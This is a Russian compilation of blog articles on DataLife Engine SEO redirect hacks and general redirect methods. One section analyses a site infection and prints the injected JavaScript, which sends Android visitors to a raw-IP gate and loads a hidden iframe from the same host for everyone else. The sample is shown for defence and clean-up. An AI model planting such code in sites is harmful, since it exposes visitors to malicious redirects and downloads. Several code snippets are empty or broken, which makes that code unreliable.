Есть у меня сайт на движке DataLife Engine и решил я сменить его профиль. Не кардинально, просто немного сузить тематику. Для этого мне нужно было удалить с сайта больше половины контента, не относящегося к этой тематике. Начал понемногу чистить страницы, заменяя их содержимое на новый контент. Но все равно пришлось менять структуру URL и из-за этого в панели вебмастеров появилось , снизилась посещаемость, позиции в поиске по узкой тематике. Кроме этого заметил что на удаленные страницы есть ссылки с форумов и сервисов типа otvet.mail.ru . При переходе с этих страниц отдавалась ошибка 404. Кроме данного технического факта следуют другие отрицательные факторы — теряется ссылочный вес, снижаются поведенческие показатели и, думаю, еще ряд негативных последствий.

Решил я это исправить брутальным методом — по всем удаленным страницам отдавать не 404 ошибку, а делать 301 редирект на главную. В CMS DLE для того, чтобы осуществить данный хак нужно в файле /engine/modules/show.full.php найти код:

elseif ( ! $news_found ) { @ header ( "HTTP/1.0 404 Not Found" ) ; msgbox( $lang [ "all_err_1" ] , $lang [ "news_err_12" ] ) ; }

elseif(! $news_found) { @header("HTTP/1.0 404 Not Found"); msgbox($lang["all_err_1"], $lang["news_err_12"]); }

и заменить его на

// 301 редирект на главную, если новость не найдена/не существует elseif(! $news_found) { header("HTTP/1.0 301 Moved Permanently"); header("Location: {$config["http_home_url"]}"); die("Redirect"); }// 301 редирект на главную, если новость не найдена/не существует

Теперь все при обращении поискового робота ему будет отдаваться сообщение о том, что информация с данной страницы перенесена навсегда на главную и весь ссылочный вес, который идет на удаленные страницы будет перераспределяться на главную.

Посетителей с удаленных страниц просто перенаправит на главную и, надеюсь, дальше они догадаются воспользоваться поиском.

Теперь опишу примерно такую же логику пере адресации, но уже не для новостей, а для категорий. Открываем файл /engine/engine.php и ищем код:

if (! $category_id ) $category_id = "not detected" ;

if (!$category_id) $category_id = "not detected";

который заменяем на

if ($config [ "allow_alt_url" ] == "yes" AND ! $category_id AND $view_template != "rss" ) { header ("HTTP/1.0 301 Moved Permanently" ) ; header ("Location: {$config["http_home_url"]} " ) ; die ("Redirect" ) ; } //решение проблемы с категориями, которых не существует

//решение проблемы с категориями, которых не существует if ($config["allow_alt_url"] == "yes" AND ! $category_id AND $view_template != "rss") { header("HTTP/1.0 301 Moved Permanently"); header("Location: {$config["http_home_url"]}"); die("Redirect"); } //решение проблемы с категориями, которых не существует

Все. Теперь то же самое будет работать и для удаленных категорий DLE.

В сети уже описано множество ситуаций, когда сайт на DLE (Data Life Engine) злоумышленники заражали вирусом и ставили редирект на другой домен. В этой статье речь пойдёт об одном из таких взломов сайта, однако описания подобного вида заражения вы вряд ли встретите — своего рода уникальный вирус, которого заметили в первый раз.

Как вирус попал на сайт

Точных данных по источнику заражения получить не удалось. Согласно найденным файлам, которые были залиты в папку UPLOADS, ничего конкретного обнаружить также не получилось.

Вероятно был украден пароль от хостинга или админки сайта. FTP аккаунтов на сайте не использовалось.

Необычный редирект

Первый раз о наличии вируса сообщил Яндекс в панеле инструментов для Вебмастеров в воскресенье 16 ноября. Выглядело всё это так:

Поиск вируса на сайте

Чтобы найти вирус, был использован специальный скрипт Ai-bolit . Так как размер сайта превышал 1 Гигабайт, сканировать файлы на наличие вирусов непосредственно на сервере не удалось (не хватало времени выполнения).

Скачав на локальный диск архив сайта, была запущена проверка, результаты которой весьма удивили — ничего подозрительного в файлах не нашлось, но сайт по-прежнему редиректил то на домен непристойного содержания, то на загрузку подозрительного ПО.

При заходе на сайт с мобильного телефона под управлением ОС Android, пользователей автоматически перебрасывало на такую страницу:

Или такую:

Просматривая каждый файл по-отдельности, выявить угрозу также не получалось.

Как найти редирект при таком заражении DLE

Совершенно случайно в шаблоне main.tpl, в самом низу файла был . Прямо в коде виджета онлайн консультанта находился такой код:

(function(){ var widget_id = 632565; _shcp =[{widget_id: widget_id}]; var lang =(navigator.language || navigator.systemLanguage || navigator.userLanguage ||"en") .substr(0,2).toLowerCase(); var url ="widget.siteheart.com/widget/sh/"+ widget_id +"/"+ lang +"/widget.js"; var hcc = document.createElement("script"); hcc.type ="text/javascript"; hcc.async =true; hcc.src =("https:"== document.location.protocol ?"https":"http") +"://"+ url; var s = document.getElementsByTagName("script"); s.parentNode.insertBefore(hcc, s.nextSibling); })();

Предпоследняя строчка показалась подозрительной, а именно — безобидная библиотека JQuery.ui.js загружалась с непонятного адреса, прописанного в виде IP.

Перейдя по этому адресу получаем следующее:

If(!getCookie("google__analytics__")){ var gate = "http://5.61.34.53/jquery/jquery.php"; var today = new Date(), tomorrow = new Date(); tomorrow.setDate(today.getDate() + 1); setCookie("google__analytics__", 1, tomorrow.toGMTString()); var ua = navigator.userAgent.toLowerCase(); if(ua.indexOf("android") > -1) window.location = gate; else{ var el = document.createElement("iframe"); document.body.appendChild(el); el.id = "iframe"; el.style.width = 0; el.style.height = 0; el.src = "http://5.61.34.53/2c24"; } } function setCookie (name, value, expires, path, domain, secure) { document.cookie = name + "=" + escape(value) + ((expires) ? "; expires=" + expires: "") + ((path) ? "; path=" + path: "") + ((domain) ? "; domain=" + domain: "") + ((secure) ? "; secure" : ""); } function getCookie(name) { var cookie = " " + document.cookie; var search = " " + name + "="; var setStr = null; var offset = 0; var end = 0; if (cookie.length > 0) { offset = cookie.indexOf(search); if (offset != -1) { offset += search.length; end = cookie.indexOf(";", offset) if (end == -1) { end = cookie.length; } setStr = unescape(cookie.substring(offset, end)); } } return(setStr); }

Именно эта строчка со скриптом и вызвала редирект. Удалив её, сменив пароли на сайте и хостинге, проблема исчезла.

Чем именно отличается этот редирект-вирус от других видов заражения

Искать по файлам сайта с помощью NotePad вхождения eval, base64 и другие, бесполезно. Проверять сайт антивирусами (всеми известными) — бесполезно. Проверка с помощью Ai-bolit также не принесёт результата.

Только в ручном режиме с самостоятельным просмотром можно увидеть результат, так как вирус загружается не с самого сайта, а с внешнего источника. Чтобы избежать подобный взлом сайта, никогда не храните логины и пароли в браузерах, делайте их многосложными и не используйте имя администратора ADMIN. Берегите свои сайты на ДЛЕ!

Привет, друзья. Наконец-то пришло время для третьей части моего мега-руководства по оптимизации DLE.

Только сейчас с ужасом осознал, что предыдущая вторая часть руководства вышла более полугода назад!

По сложившейся традиции мы будем говорить о , а конкретно в этой части я расскажу про некоторые особенности движка и мелкие, но очень полезные фишки и хаки , которые не подошли по формату в предыдущих частях.

Эта часть так же связана с адресами страниц, но в отличии от второй части, где мы боролись с дублями и исключали их появление, в этой части мы рассмотрим, как избавиться от несуществующих страниц, появившихся в результате удаления или ошибки в адресе.

Пост обновлен 6 мая 2014 года :
Обновлены вносимые в движок изменения, добавлена поддержка новых версий движка.
Актуально для следующих версий DLE : 7.x, 8.x, 9.x, 10.x!

Другие части SEO-руководства:
Часть 1, Оптимизация заголовков Title —
Часть 2, Борьба с дублированием контента —
Часть 4, Исправление для версий DLE 9.3, 9.4, 9.5, 9.6 —

Редирект с несуществующих страниц пагинации на правильные и существующие

Фишка была придумана буквально сегодня, когда я нашел множество 404 ошибок на одном из сайтов в панели вебмастера.

Возьмем вполне реальную ситуацию – по какой-то причине вы решили изменить количество новостей, выводимых на главной странице или страницах категорий . Как случилось у меня: редизайн сайта; структура страниц полностью поменялась; было решено выводить больше кратких анонсов новостей на каждой странице (было 7, стало 10). Итог был следующим — в панели вебмастера появилось много страниц с 404 ошибками . Простая арифметика, было на сайте 1000 новостей, на каждой странице выводилось по 7 анонсов, следовательно, только на главной у нас получается 1000/7=142 страницы пагинации. После изменений страниц стало ровно 100. В итоге 42 страницы просто пропали. А если возьмем еще категории, то несуществующих страниц уже сотня-две. Это плохо, некрасиво и вообще не тру.

Открываем файл /engine/modules/show.short.php и в самом низу находим :

} ?>

ВЫШЕ добавляем :

$all_pages_count = @ ceil ( $count_all / $config [ "news_number" ] ) ; if ($cstart > $all_pages_count ) { if ($all_pages_count > 1 ) { header () ; header ("Location: " . $url_page . "/page/" . $all_pages_count . "/" ) ; die () ; } else { header ("HTTP/1.1 301 Moved Permanently" ) ; header ("Location: " . $url_page . "/" ) ; die () ; } } //редирект на последнюю страницу, если в url указана страница больше чем максимально существующая

//редирект на последнюю страницу, если в url указана страница больше чем максимально существующая $all_pages_count = @ceil($count_all / $config["news_number"]); if ($cstart > $all_pages_count) { if ($all_pages_count > 1) { header("HTTP/1.1 301 Moved Permanently"); header ("Location: " . $url_page . "/page/" . $all_pages_count . "/"); die(); } else { header("HTTP/1.1 301 Moved Permanently"); header ("Location: " . $url_page . "/"); die(); } } //редирект на последнюю страницу, если в url указана страница больше чем максимально существующая

Немного поясню код: идет проверка на условие — если номер текущей страницы больше чем максимальное количество страниц на сайте (или в категории), то происходит редирект на последнюю страницу. Если запрашивается страница номер 2, а страниц всего одна, то происходит редирект на гравную страницу (или главную страницу категории).

Пример на пальцах, кто-то запрашивает страницу сайта site.ru/page/435/, а на этом сайте всего 268 страниц, следовательно, случится редирект на адрес site.ru/page/268/.

Редирект с несуществующих страниц пагинации комментариев на правильные

Актуальность: Только версии DLE 8.x, 9.x. Для DLE 10.x не актуально, т.к. уже реализовано в самом движке.

Аналогичная ситуация с пагинацией в комментариях. Может возникнуть такая ситуация, что, например, вам наспамили в комментариях, поисковики проиндексировали все страницы комментариев, а потом вы это заметили и удалили все комменты. Но страницы, которые проиндексировал поисковик, все равно останутся, просто на них не будут отображаться никакие комментарии, а будет полный дубль основной страницы новости. И это печально, надо исправлять!

Открываем файл /engine/classes/comments.class.php и в самом низу находим :

} } ?>

ВЫШЕ добавляем :

//редирект на последнюю страницу комментариев, если в url указана страница больше чем максимально существующая if ($this->cstart > $enpages_count) { header("HTTP/1.1 301 Moved Permanently"); header("Location: " . $url); die(); } //редирект на последнюю страницу комментариев, если в url указана страница больше чем максимально существующая

Ну вот, теперь все в порядке, можете проверить.

Редирект со ссылок с лишними символами или неправильным окончанием на верные адреса

Актуальность: Все версии DLE. Проверено на 7.x, 8.x, 9.x, 10.x.

Раньше тут было очень сложное решение, которое зависело от версии движка. Но с момента написания данного поста я достаточно прокачал свои умения, чтобы составить универсальное решение для всех версий DLE и вообще совершенно для любого движка или любого сайта!

Открываем.htaccess, который лежит в корне и находим :

RewriteBase / RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{REQUEST_URI} ^(.*)\.html(.+) RewriteCond %{REQUEST_URI} ^(.*)\.htm$ RewriteCond %{REQUEST_URI} ^(.*)\.ht$ RewriteCond %{REQUEST_URI} ^(.*)\.h$ RewriteCond %{REQUEST_URI} ^(.*)\.$ RewriteRule ^(.*)\.(.*) $1.html

Вне зависимости от выбранного типа ЧПУ при переходе по любой «кривой» ссылке посетитель попадет туда, куда должен был попасть .

Редирект с разделов или категорий, которых больше не существует, на главную страницу

Актуальность: Все версии DLE. Проверено на 7.x, 8.x, 9.x, 10.x.

Пример из жизни: вы решили поменять структуру сайта или просто удалили какие-то категории за ненадобностью , следовательно, эти страницы перестанут существовать, а ссылки на них могут где-то остаться. Например, на emofans’е у меня когда-то были блоги для пользователей, доступные по адресу site.ru/blog/, а в них шло деление на пользователей, вот так site.ru/blog/user1/, site.ru/blog/user2/ и т.д. Уже много лет как я снес эти блоги за ненадобностью, а ссылки на них и ошибки в панели вебмастера живут.

Еще данная правка позволит избежать появления адресов страниц полной новости без расширения на конце или вообще адресов полной новости когда отсутствует целый кусок url в конце. Таким образом, в сочетании с предыдущим пунктом, эти изменения помогут на 99% избежать появления неверных и нежелательный адресов .

Открываем файл /engine/engine.php и находим :

if (! $category_id ) $category_id = "not detected" ;

if (!$category_id) $category_id = "not detected";

ЗАМЕНЯЕМ на:

//решение проблемы с категориями, которых не существует if (!$category_id AND $view_template != "rss") { header("HTTP/1.0 301 Moved Permanently"); header("Location: {$config["http_home_url"]}"); die("Redirect"); } //решение проблемы с категориями, которых не существует

Редирект для публикаций, у которых отсутствует ID, на главную страницу

Актуальность: Все версии DLE. Проверено на 7.x, 8.x, 9.x, 10.x.

Еще одна реальная история, взятая с моих сайтов. В панели вебмастера висит много страниц с ошибкой 404 такого вида site.ru/category/subcat/page-name.html, а по правилам должно быть так site.ru/category/subcat/123-page_name.html. Вот честно, до сих пор не понимаю, каким образом и почему пропал ID новости и кто ссылался на публикации таким образом. Никаких модулей и хаков, которые убирают из url его идентификатор я никогда не использовал, так что грешу на пользователей, которые «криво» ставят ссылки в своих бложеках на мой сайт. Ну да ладно, это уже не важно, а важно разобраться с этой проблемой!

Только для версий DLE 10.x (а так же для 9.5, 9.6, 9.7 и 9.8)

Новая версия кода помимо того, что редиректит «проблемные» адреса страниц полной новости, но так же редиректит на главную еще и несуществующие или удаленные статические страницы. Связано это с изменившейся логикой в движке. С одной стороны, наверное, это хорошо, ведь одним махом две проблемы решаем. С другой стороны, изначально движок выдает обычную 404 ошибку — если вас устраивает такое положение дел, тогда не вносите правки, описанные в этом пункте.

Открываем файл /engine/modules/static.php и находим в самом конце :

@ header ( "HTTP/1.0 404 Not Found" ) ; $lang [ "static_page_err" ] = str_replace ("{page}" , $name . ".html" , $lang [ "static_page_err" ] ) ; msgbox( $lang [ "all_err_1" ] , $lang [ "static_page_err" ] ) ;

@header("HTTP/1.0 404 Not Found"); $lang["static_page_err"] = str_replace ("{page}", $name.".html", $lang["static_page_err"]); msgbox($lang["all_err_1"], $lang["static_page_err"]);

ЗАМЕНЯЕМ на:

// 301 редирект на главную с адресов страниц новостей, где пропал id, а так же несуществующих статических страниц header("HTTP/1.0 301 Moved Permanently"); header("Location: {$config["http_home_url"]}"); die("Redirect"); // 301 редирект на главную с адресов страниц новостей, где пропал id, а так же несуществующих статических страниц

Старое решение. Только для версий DLE 7.x, 8.x, 9.0, 9.2 и 9.3

Все адреса, содержащие на конце.html и не содержащие в себе ID будут редиректиться на главную страницу. Существующие и корректные статические страницы, хоть и они так же не имеют ID в url-адресе, редиректиться не будут, а будут работать как и прежде.

Открываем все файл /engine/engine.php и находим :

if ($subaction == "" ) $subaction = "showfull" ; }

if ($subaction == "") $subaction = "showfull"; }

НИЖЕ добавляем :

if ( ( $config [ "allow_alt_url" ] == "yes" ) && (strpos ($_SERVER [ "REQUEST_URI" ] , ".html" ) !== false ) && ($dle_module == "main" ) ) { header ("HTTP/1.0 301 Moved Permanently" ) ; header ("Location: {$config["http_home_url"]} " ) ; die ("Redirect" ) ; } // 301 редирект на главную с адресов страниц новостей, где пропал id

// 301 редирект на главную с адресов страниц новостей, где пропал id if (($config["allow_alt_url"] == "yes") && (strpos($_SERVER["REQUEST_URI"], ".html") !== false) && ($dle_module == "main")) {header("HTTP/1.0 301 Moved Permanently"); header("Location: {$config["http_home_url"]}"); die("Redirect"); } // 301 редирект на главную с адресов страниц новостей, где пропал id

Редирект для удаленных или несуществующих новостей на главную

Актуальность: Все версии DLE. Проверено на 7.x, 8.x, 9.x, 10.x.

Ну, тут стандартная ситуация и может встретиться на любом сайте. Вы удалили какую-то новость и, понятное дело, будет выдаваться 404 ошибка. Если вас это не устраивает, а именно то, что выдается 404 ошибка, то можно сделать, например, 301-редирект на главную страницу сайта , которая уж точно существует;)

Открываем файл /engine/modules/show.full.php и находим :

elseif ( ! $news_found ) { @ header ( "HTTP/1.0 404 Not Found" ) ; msgbox( $lang [ "all_err_1" ] , $lang [ "news_err_12" ] ) ; }

elseif(! $news_found) { @header("HTTP/1.0 404 Not Found"); msgbox($lang["all_err_1"], $lang["news_err_12"]); }

ЗАМЕНЯЕМ на:

// 301 редирект на главную, если новость не найдена/не существует elseif(! $news_found) { header("HTTP/1.0 301 Moved Permanently"); header("Location: {$config["http_home_url"]}"); die("Redirect"); } // 301 редирект на главную, если новость не найдена/не существует

Теперь при переходе на несуществующую или удаленную публикацию будет осуществляться редирект на главную страницу сайта.

А вообще, ребята, у меня есть отдельный очень большой пост про .
Я вам рекомендую с ним ознакомиться, независимо от того, работаете ли вы только с DLE или другой какой-то CMS.

Запрещаем индексацию разделов сайта при помощи мета-тега robots

Актуальность: Все версии DLE. Проверено на 7.x, 8.x, 9.x, 10.x.

Итак, помните я недавно публиковал пост про , где говорил, что закрывать страницы от индексации при помощи robots.txt не тру, а вот закрывать при помощи правильный вариант . Настоятельно рекомендую изучить данный пост.

Если не чувствуете в себе уверенности, настоятельно рекомендую использовать ! С модулем вы по любому не ошибетесь нигде, а так же вам не придется после каждого обновления движка вносить данные правки.

Открываем уже полюбившийся файл /engine/engine.php, находим бесполезную строку и удаляем:

if ($config["allow_rss"]) $metatags .=

4.
Редирект на ASP

5.
Редирект на ASP.NET

private void Page_Load(object sender, System.EventArgs e)
{
Response.Status = "301 Moved Permanently";
Response.AddHeader("Location","http://www.new-url.com");
}

6.
Редирект на ColdFusion

7.
Редирект с помощью meta refresh

Где 0 - задержка переадресации в секундах, newdomain.com -страница, куда переадресуем. Некоторые старые браузеры не поддерживают meta refresh со значением 0, для совместимости можно установить ненулевой значение, хотя, на мой взгляд это уже не актуально. Такой редирект не сможет склеить ваши сайты (с www и без) и передать PR, так как игнорируется поисковыми системами. Он возвращает код 200 OK, что соответствует обычной странице. Эта техника популярна у спамеров, поэтому ее стоит применять только для страниц, которые не будут индексироваться.
8.
Редирект с помощью JavaScript

Варианты переадресации на JavaScript чаще реализуются с использованием функции setTimeout("функция", задержка).

Например, автоматически сделать Click на кнопке "Submit" формы "searchform" через 0.1 сек после загрузки кода:

SetTimeout("document.forms["searchform"].Submit.click()", 100);

На кнопку "Submit" можно повесить любое действие, например, открыть новый url в этом окне. Кстати такое редиректы чаще встречаются при организации Дорвеев (DorWay) - браузер Пользователя будет переадресован на другую страницу, а поисковый робот, который "не понимает" JavaScript, будет индексировать эту страницу, недоступную пользователю. На ней дорвейщики размещают текст, напичканный "нужными" ключевыми словами.

Чтобы просто переадресовать на другую страницу можно вставить после один из вариантов кода на JavaScript:
* location="http://www.newdomain.com";
* document.location.href="http://www.newdomain.com";
* window.location.reload("http://www.newdomain.com");
* document.location.replace("http://www.newdomain.com");
В последнем случае уже нельзя будет вернуться на страницу выполнившую переадресацию, так как ее адрес стирается из history, что нередко и нужною. Если нужна задержка по времени, можно оформить location="http://www.newdomain.com"; в виде функции и вставить ее в setTimeout("функция()", задержка_в_мсек); Редирект на JavaScrupt не является 301 редиректом и не передаст PR страницы, не сможет обеспечить ее склейку.

Отметим дополнительно некоторые особенности редиректов:

* Методы редиректа с.htaccess работают только на Linux серверах, имеющих Apache с включенным модулем Mod-Rewrite.
* Использование.htaccess создает дополнительную нагрузку на сервер Apache, более эффективно прописывать те же команды в его конфигурационном файле hpptd.conf, но, как правило, к нему нет доступа у вебмастера.
* 301 редирект, позволяет сберечь трафик и передать PR страницы для поисковых систем (для Google точно).
* процесс склейки и передачи PR занимает длительное времени - до нескольких месяцев и также зависит от поисковой системы, поэтому не удаляйте старую страницу или сайт, пока не произойдет окончательный перенос.
* некоторые поисковые системы требуют для склейки сайтов дополнительных настроек, например, для Яндекса нужно дополнительно прописывать robots.txt

Заключение. Безопасный способ редиректа старых страниц на новые или старого сайта на новый адрес, с сохранением позиций в поисковых системах, заключается в использование 301 редиректа, который также позволит вам передать старый Page Rank страницы на новый сайт.

Более подробно про mod_rewrite можно прочитать на: